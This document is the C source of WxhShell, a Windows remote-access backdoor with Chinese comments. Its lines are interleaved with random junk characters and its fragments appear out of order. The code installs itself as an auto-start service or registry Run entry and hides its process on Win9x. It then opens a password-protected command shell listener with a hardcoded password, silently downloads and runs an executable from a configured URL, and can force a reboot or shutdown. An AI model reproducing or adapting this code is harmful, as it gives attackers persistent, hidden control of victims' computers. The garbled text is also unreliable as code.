B]qqqP { &QfEDDJ DWORD ExitStatus; ,'`yh|}G\ DWORD PebBaseAddress; 'V:MppQVZ. DWORD AffinityMask; B?-w<":! DWORD BasePriority; SZ[?2z ULONG UniqueProcessId; UxHI6,b ULONG InheritedFromUniqueProcessId; SDE+"MjBY } PROCESS_BASIC_INFORMATION; pQ0*)}l, -`\^_nVC PROCNTQSIP NtQueryInformationProcess; {'M/wT)FeC p2rT0gu! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^c}3o|1m( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P%l?C?L GfK%UZ$C HANDLE hProcess; DMch88W PROCESS_BASIC_INFORMATION pbi; \SQ4yc ^(C4Q?[2m HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3'0vLi if(NULL == hInst ) return 0; >]ux3F3\ F>#F@j^c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I9+h-t g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 80Fa i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JmR2skoV, >I~Q[ if (!NtQueryInformationProcess) return 0; =Jw*T[ E Fs4shrt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P,)D0i if(!hProcess) return 0; ey[Z<i1 >M{98NH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l]wLQqoO `Rt w'Uz CloseHandle(hProcess); ><"|>(y D-C]0Jf3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B1~`*~@
if(hProcess==NULL) return 0; }MMKOr( [efU)O& HMODULE hMod; b?iPQ$NyQ char procName[255]; DDGDj)=` unsigned long cbNeeded; \7qj hA@ t(roj@!x_o if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q\i&ERr 1I69O6" CloseHandle(hProcess); nF]R" VvP: }yJ if(strstr(procName,"services")) return 1; // 以服务启动 A. tGr(r }ixCbuD return 0; // 注册表启动 z{1A x } UTu~"uCR OwNM`xSa|\ // 主模块 ySiZ@i4 int StartWxhshell(LPSTR lpCmdLine) Y(1?uVYW\d { &)tv4L& SOCKET wsl; ,GVX1B? BOOL val=TRUE; l%mp49< int port=0; >S }X)4 struct sockaddr_in door; hwe6@T.# H6K8. if(wscfg.ws_autoins) Install(); mUP!jTF ju[y-am$/ port=atoi(lpCmdLine); 'JdK0w# rWNe&gFM if(port<=0) port=wscfg.ws_port; L#a!fd )O+Zbn WSADATA data; R8lja%+0$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?d?.&nt .J @mpJdY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~ PyS;L} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <aaT,J8%[ door.sin_family = AF_INET; 9fbbJ"I+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); w<!,mL5 N door.sin_port = htons(port); \l3z<\ =d"5kDK-m if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LD?\gK" closesocket(wsl); #Pd__NV"\ return 1; *74/I>i } 19O -U$;\1-- if(listen(wsl,2) == INVALID_SOCKET) { hTEb?1CXU closesocket(wsl); [6g$;SicT return 1; 4Lk<5Ho } Dl0{pGK~ Wxhshell(wsl); Z~94<*LEp WSACleanup(); fNx!'{o" ~V ?z!3r-) return 0; ]CcRI|g} _\k?uUo&,^ } @?]>4+Oa0 1@LUxU#Uu$ // 以NT服务方式启动 J"E _i] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^.@%n1I"5y { MRo_An+ DWORD status = 0; j`@`M*)GB DWORD specificError = 0xfffffff; q!U$\Q& K>~YO~~ serviceStatus.dwServiceType = SERVICE_WIN32; \5<Z [#{ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ->;2CcpHB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K0v S serviceStatus.dwWin32ExitCode = 0; 58HAl_8W serviceStatus.dwServiceSpecificExitCode = 0; ,']CqhL6=R serviceStatus.dwCheckPoint = 0; NA0Z~Ug> serviceStatus.dwWaitHint = 0; DEkv,e havmhS)O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G{X7;j e if (hServiceStatusHandle==0) return; C]JK'K<7- l SKq status = GetLastError(); L;?h)8 if (status!=NO_ERROR) E+<GsN] { _XY(Qd serviceStatus.dwCurrentState = SERVICE_STOPPED; cQd?,B3#F serviceStatus.dwCheckPoint = 0; *v8daF serviceStatus.dwWaitHint = 0; |[#Qk 4Ttf serviceStatus.dwWin32ExitCode = status; %o\+R0K serviceStatus.dwServiceSpecificExitCode = specificError; ~-H3] SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?771e:>S- return; b=sY%(2s } r~QE}00@^ HWFTI /] serviceStatus.dwCurrentState = SERVICE_RUNNING; *(vh | serviceStatus.dwCheckPoint = 0; [h
B$%i]\< serviceStatus.dwWaitHint = 0; 54WX#/<Yik if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,S(Z\[x0 } Hq>hnCT c]U+6JH // 处理NT服务事件,比如:启动、停止 YE*|KL^ VOID WINAPI NTServiceHandler(DWORD fdwControl) K7{B!kX4k { \BfMCA/ switch(fdwControl) +CSv@ />3 { )+,h}XqlX case SERVICE_CONTROL_STOP: $f+I#uJ serviceStatus.dwWin32ExitCode = 0; +zDRed_]=_ serviceStatus.dwCurrentState = SERVICE_STOPPED; zHNBX
Rx serviceStatus.dwCheckPoint = 0; /G]/zlUE serviceStatus.dwWaitHint = 0; L|(U%$ { GJS( SetServiceStatus(hServiceStatusHandle, &serviceStatus); wXnVQ-6H } =tA;JB return; H~fF;
I case SERVICE_CONTROL_PAUSE: qG~6YCqii serviceStatus.dwCurrentState = SERVICE_PAUSED; `?l
/HUw break; yXEI%2~) case SERVICE_CONTROL_CONTINUE: UYy #DA serviceStatus.dwCurrentState = SERVICE_RUNNING; o4yl3o break; x7gd6"10^ case SERVICE_CONTROL_INTERROGATE: (w"(RM~ break; WQ:Y NmQ1p }; GZx*A S]+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :YkAp9civ } {=&({ cS uxKO" // 标准应用程序主函数 Z'5&N5hx int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s7:_!Nd@8 { y>h9:q| pNQ7uy // 获取操作系统版本 |Go$z3bx OsIsNt=GetOsVer(); aTH$+f1?Q GetModuleFileName(NULL,ExeFile,MAX_PATH); !RwhVaSh y.8nzlkE{ // 从命令行安装 74
)G.! if(strpbrk(lpCmdLine,"iI")) Install(); Tu}EAr =\)zb '\=d // 下载执行文件 };P=|t(r if(wscfg.ws_downexe) { rxy5Nrue if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >P} XCAU WinExec(wscfg.ws_filenam,SW_HIDE); <RC %< } rhaq!s38: P&[&Dj if(!OsIsNt) { )ryP K"V // 如果时win9x,隐藏进程并且设置为注册表启动 C}jrx^u> HideProc(); 'T qF}a7 StartWxhshell(lpCmdLine); wm?%&V/# } Xj30bt else Y+$]N:\F\ if(StartFromService()) hz<TjWXv' // 以服务方式启动 ;P8%yf StartServiceCtrlDispatcher(DispatchTable); `YZl2c<w* else tGXH)=K // 普通方式启动 O/(vimx.#F StartWxhshell(lpCmdLine); c`S+>: v,~fG>Y} return 0; +`mI\+y, } <rui\/4NJ :w|=o9J Ets6tM` g6.I~oQj =========================================== ;:R2 P@6f CZ$B2i6 4!96k~d} R/E6n &R 'YbE%i} {+{p. " xA2I+r*o Q]K$yo #include <stdio.h> cud9oJ-=; #include <string.h> 7D 3-/_ v #include <windows.h> TOa6sB!H #include <winsock2.h> {=gJGP/}_ #include <winsvc.h> ./'d^9{ #include <urlmon.h> eMV8`&c' "j8=%J{ #pragma comment (lib, "Ws2_32.lib") l1L8a I,8 #pragma comment (lib, "urlmon.lib") Cv*K.T ^Ojg}'.Ygv #define MAX_USER 100 // 最大客户端连接数 `pDTjJ #define BUF_SOCK 200 // sock buffer 9Nv?j=*$ #define KEY_BUFF 255 // 输入 buffer X$P(8'[9A [[N${ C #define REBOOT 0 // 重启 %" l; #define SHUTDOWN 1 // 关机 o#z$LT1dY 8)"lCIf #define DEF_PORT 5000 // 监听端口 W| 0))5a 2cGiE{ #define REG_LEN 16 // 注册表键长度 bNm]h. #define SVC_LEN 80 // NT服务名长度 *0V'rH) {t|#>UCK // 从dll定义API <|82)hO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,jw`9a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iG~&uEAJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OqF8KJnO; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~MYE8xrId aiE\r/k8s // wxhshell配置信息 gsa@ci struct WSCFG { G'dN<Nw6 int ws_port; // 监听端口 :mf&,? char ws_passstr[REG_LEN]; // 口令 BxQ,T@ int ws_autoins; // 安装标记, 1=yes 0=no \>n[x;$ char ws_regname[REG_LEN]; // 注册表键名 VTyj<6Y char ws_svcname[REG_LEN]; // 服务名 ^si[L52BZ char ws_svcdisp[SVC_LEN]; // 服务显示名 !V/7q'&t= char ws_svcdesc[SVC_LEN]; // 服务描述信息 2:nI4S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w5/6+@} int ws_downexe; // 下载执行标记, 1=yes 0=no [>3dhj[; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z6Kp-z(l3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >*!^pbZfX mU]^PC2[ }; }ALli0n`V) = iDd{$ // default Wxhshell configuration cc}#-HKR[ struct WSCFG wscfg={DEF_PORT, V+l7W "xuhuanlingzhe", 5e0d;Rd
1, T:|p[Xbo "Wxhshell", tw\1&*: "Wxhshell", \6"=`H0} "WxhShell Service", 8?: 2< "Wrsky Windows CmdShell Service", .4$F~!aj9 "Please Input Your Password: ", &1`Y&x:p 1, +KNd%AJ "http://www.wrsky.com/wxhshell.exe", Z*h}E "Wxhshell.exe" 5tLb
o }; #qD[dC$[t y"U)&1 c% // 消息定义模块 NZ6:ZzM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {{gt>"D, char *msg_ws_prompt="\n\r? for help\n\r#>"; pFwJ: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0]=Bqyg char *msg_ws_ext="\n\rExit."; g)|vS>^~ char *msg_ws_end="\n\rQuit."; k"/Rjd(; char *msg_ws_boot="\n\rReboot..."; 9e
vQQN6D| char *msg_ws_poff="\n\rShutdown..."; )N1iGJO) char *msg_ws_down="\n\rSave to "; v'^}zO Sl<1Rme=w char *msg_ws_err="\n\rErr!"; 9nFWJn char *msg_ws_ok="\n\rOK!"; _p'@.P -"H0Qafm char ExeFile[MAX_PATH]; 19!;0fe= int nUser = 0; X(3| (1;sV HANDLE handles[MAX_USER]; Y>
}\'$\b int OsIsNt; e+4Eiv Z5)v SERVICE_STATUS serviceStatus; EYCZuJxv SERVICE_STATUS_HANDLE hServiceStatusHandle; EV w {G< D<<q5gG // 函数声明 Wv;,@xTZ int Install(void); ?.lo[X<,* int Uninstall(void); ?d{O'&|: int DownloadFile(char *sURL, SOCKET wsh); )EKWsGNe/ int Boot(int flag); .jtv Hr}U void HideProc(void); ]+B.=mO_ int GetOsVer(void); ^W@%(,xb int Wxhshell(SOCKET wsl); (~E-=+R[$& void TalkWithClient(void *cs); z5Tsu1c int CmdShell(SOCKET sock); t+]1D@h v int StartFromService(void); H=g%>W%3 int StartWxhshell(LPSTR lpCmdLine); Q7<VuXy U|\ .)h= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6KXW]a ` VOID WINAPI NTServiceHandler( DWORD fdwControl ); c14d0x{ uGqeT#dP // 数据结构和表定义 /{R. SERVICE_TABLE_ENTRY DispatchTable[] = i1m>|[@k { F[!%,-* {wscfg.ws_svcname, NTServiceMain}, tm2lxt {NULL, NULL} V`W '] }; o)7Ot\:E `YE=B{q // 自我安装 S7#dyAX8 int Install(void) j|N<6GSke { a l6y=;\jZ char svExeFile[MAX_PATH]; [C<K~ HKEY key; hN]l
$Ct strcpy(svExeFile,ExeFile); 5;^1Ab0 {&B_b|g*fW // 如果是win9x系统,修改注册表设为自启动 )|k#cT{=M if(!OsIsNt) { UwF-*(#41 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .QwB7+V4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I.T?A9Z RegCloseKey(key); v-q-CI?B# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6akI5\b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $?]`2*i RegCloseKey(key); SBs! 52 return 0; S_OtY]gF } BT_XqO } *n7=m=%) } (6:.u.b else { Th*}U& 0chpC)#Q3; // 如果是NT以上系统,安装为系统服务 )cZHBG.0H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .>.GQUr if (schSCManager!=0) #=33TvprR2 { G +41D SC_HANDLE schService = CreateService bj6Yz,g F ( }Bsh!3D<. schSCManager, #)twk`!^ wscfg.ws_svcname, X"r.*fb;N wscfg.ws_svcdisp, YZSQOLN{ SERVICE_ALL_ACCESS, Ldv,(ZV,< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o$+R SERVICE_AUTO_START, -1v9 SERVICE_ERROR_NORMAL, _;Xlw{FN^ svExeFile, )z18:C3 NULL, @U1|?~M%s NULL, r=vY-p NULL, 5$HG#2"Kb# NULL, R9#ar{ NULL ~_N,zw{x ); z>,M@@ if (schService!=0)
^RT_Lky { 8AY;WL:; CloseServiceHandle(schService); dzAumWoh CloseServiceHandle(schSCManager); SG|AJ9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ERxr
strcat(svExeFile,wscfg.ws_svcname); F8{gJaP x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Bk` Zlki RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3\
Mt+!1{ RegCloseKey(key); i$@xb_ return 0; yI#qkl- } jl(D;JnF } E QU@';~8 CloseServiceHandle(schSCManager); }zsIp, } .
_|=Btoo } CsycR @[ 'q |"+; return 1; ly0L)L]\ } '/9j"mIA9$ HJ]e%og // 自我卸载 vN],9q int Uninstall(void) b|DU { %7aJSuQN% HKEY key; *GBV[D[G, (@xC-* if(!OsIsNt) { ?hc=w 2Ci if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vfv?QjR RegDeleteValue(key,wscfg.ws_regname); ~/-SKGzo- RegCloseKey(key); 'iZwM>l\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ij) k@. RegDeleteValue(key,wscfg.ws_regname); \ moLQ RegCloseKey(key); {nUmlP=mS return 0; ^\Q,ACkZb } 2)|=+DN; } GQY"
+xa8] } jLI1Ed else { y] D\i5Xv &&P9T/Zks SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uj.$GAtO) if (schSCManager!=0) $p0D9mF { P![ZO6`:W' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,e;,+w=~E if (schService!=0) @S}j=k { n/Fxjf0W
if(DeleteService(schService)!=0) { )z@
+|A CloseServiceHandle(schService); uKM` umE CloseServiceHandle(schSCManager); {S9gOg return 0; ,
otXjz } Ji9o0Y R CloseServiceHandle(schService); $fD%18 } L%5y@b{AR CloseServiceHandle(schSCManager); U!o }
f&^}yqmuE } &`n:AR` z8}QXXa return 1; \9#f:8Q } +[uh);vD`G 1
Vt,5o5 // 从指定url下载文件 >h#juO" int DownloadFile(char *sURL, SOCKET wsh) mkyYs[ { lV^:2I/ HRESULT hr; 9D=X3{be# char seps[]= "/"; |mn} wNUN] char *token; ri59LY y= char *file; ">t^jt{ char myURL[MAX_PATH]; uchQv]VB char myFILE[MAX_PATH]; T3
ie-G@< ,"#nJC strcpy(myURL,sURL); hf9i%,J token=strtok(myURL,seps); )z74,n7- while(token!=NULL) 4vG-d)"M2 { O4oN) file=token; cRr3!<EZ token=strtok(NULL,seps); y< dBF[ } 5!Y\STn zzI,iEG GetCurrentDirectory(MAX_PATH,myFILE); 9M9Fif. strcat(myFILE, "\\"); NR_3nt^h strcat(myFILE, file); GiuE\J9i send(wsh,myFILE,strlen(myFILE),0); (EWGX |QA send(wsh,"...",3,0); E`^D9:3:) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 45.g ; if(hr==S_OK) ZZ^A&%E(a return 0; `^8mGR>OpI else a1I-d=] return 1; ~Uv#) We}9'X} } T>|
hID PP'5ANK // 系统电源模块 ,=Wj*S)~ int Boot(int flag) H'YK j' { Zh;}Q(w HANDLE hToken; t6KKfb TOKEN_PRIVILEGES tkp; > _sSni L{>rN`{ if(OsIsNt) { ~?b1x+soV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,.*Df)+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }#e=*8F7 tkp.PrivilegeCount = 1; _^b\#Jz4U3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]O:8o<0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O
]
!tK if(flag==REBOOT) { PV"\9OIKb. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iN'T^+um= return 0; 2Q@na@s } wn_
>Vi1 else { fuA]
y4A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9x4z m return 0; ivl %%nY' } $04lL/; } A#I&&qZ else { ^C^I if(flag==REBOOT) { |/l] ]+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) By7lSbj return 0; p.(+L^-= } 0H +nVR else { Rh"O$K~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _$IWr)8f return 0; DUu:et&c1 } C,>n } 8NNh8k#6 D}!YF~ return 1; DQ= { } pwHe&7e# 4>L*7i // win9x进程隐藏模块 #M w70@6 void HideProc(void)
dI7rx+L { -b?M5P*: ]-#/wC[$l= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _,K[kVn if ( hKernel != NULL ) Ofoh4BL'1@ { R>:D&$[RD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r 56~s5A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kkHK~(>G FreeLibrary(hKernel); [vb#W!M&| } &${| o@ o?M ;f\Fy return; TeZu*c } h2mHbe43 u|$HA>F[ // 获取操作系统版本 A~E S{Zkh int GetOsVer(void) 8irTGA { +[n#{;]< OSVERSIONINFO winfo; v.:Q& ] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `/R. 5;$| GetVersionEx(&winfo); z$m(@Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w0$+v/ return 1; 'NjeF6 else &DYC3*)Jih return 0; '*`n"cC: } .,S`VNU k-^^Ao*@ // 客户端句柄模块 NF |[j=? int Wxhshell(SOCKET wsl) 4,QA {v { $/Q\B(X3 SOCKET wsh; dVLrA`'P* struct sockaddr_in client; mz<,nR\ DWORD myID; XHgW9 ;M! y[jp)&N` while(nUser<MAX_USER) 0VJHE~Bgi { >{Mv+ int nSize=sizeof(client); xgNV0;g, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U5cbO{\3I if(wsh==INVALID_SOCKET) return 1; jb/C\2U4) /\Xe'& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fYZd:3VdC if(handles[nUser]==0) !JDuVqW closesocket(wsh); _f>)G3p else .@;5" nUser++; TZ
n2,N } 751Qi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UL~~J[1r HXdo:#xEO return 0; gxI/MD~!> } X[w]aJnAr DTi^* Wj // 关闭 socket vYLspZ;S void CloseIt(SOCKET wsh) w0sy@OF { C.uv0 closesocket(wsh); _M;{}!Gc&A nUser--;
ca0vN^Ji ExitThread(0); ^a3 (QKS } ]-X\n
5\JV } // 客户端请求句柄 y[cc<wm$ void TalkWithClient(void *cs) "k"+qR`fH { /s(PFN8#Y Xooh00 SOCKET wsh=(SOCKET)cs; i[.7 8K-s char pwd[SVC_LEN]; SZtSUt(ss char cmd[KEY_BUFF]; "=40%j0 char chr[1]; 5mudww` int i,j; _E-{*,7bZS 6b` Jq>v while (nUser < MAX_USER) { 6+s&%io4 $j(4FyH\ if(wscfg.ws_passstr) { X9" T(` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fD_3lbiL( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rniL+/-uU //ZeroMemory(pwd,KEY_BUFF); TOqxl i=0; p!Tac%D+k while(i<SVC_LEN) { Ft :_6T% :m'(8s8 // 设置超时 Bv*VNfUm fd_set FdRead; %%wngiz\ struct timeval TimeOut; nddCp~NX FD_ZERO(&FdRead); 0T$ `;~ FD_SET(wsh,&FdRead); \b)P4aL TimeOut.tv_sec=8; q9^.f9- TimeOut.tv_usec=0; <0l:B;3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8)` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b-c6.aKf| h"2^`
)!u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oc-o>H pwd=chr[0]; Fghan.F if(chr[0]==0xd || chr[0]==0xa) { R
iLqMSq pwd=0; <x$fD37 break; )J[Ady^5 } K_N`My i++; 9Y2(.~w6X } 3],(oQq^ FY+@fy // 如果是非法用户,关闭 socket ^:O*Sx.CA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7
X~JLvN } W^H[rX}= lKRp9isn^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wmP[\^c%$j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `"iPJw14 qX[C% while(1) { +$^[r [R~@#I P! ZeroMemory(cmd,KEY_BUFF); M&/e*Ta5 hNp.%XnnZ // 自动支持客户端 telnet标准 IeIv k55 j=0; lrMkp@f. while(j<KEY_BUFF) { `soQp2h- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Hh*!ePp cmd[j]=chr[0]; hH?ke(&=f if(chr[0]==0xa || chr[0]==0xd) { ) I.uqG cmd[j]=0; -fK_F6_\] break; $7Lcn9?G } B,4GxoX` j++; FQMA0"(G$ } lcoJ1+`C <%`z:G3 // 下载文件 P[Vf$ q< if(strstr(cmd,"http://")) { 7 :u+-U send(wsh,msg_ws_down,strlen(msg_ws_down),0); yN}<l% if(DownloadFile(cmd,wsh)) Z>'hNj)ju send(wsh,msg_ws_err,strlen(msg_ws_err),0); MB.LHIo else DsBZ% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j8t_-sU9 i } 34vH+,!u else { -dUXd<=ue @d[)i,d:G switch(cmd[0]) { XToYtdt2 <,nd]a // 帮助 7^h*rL9 case '?': { qJj5_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g aXF3v*j break; p*Hf<)} } C2J@] & |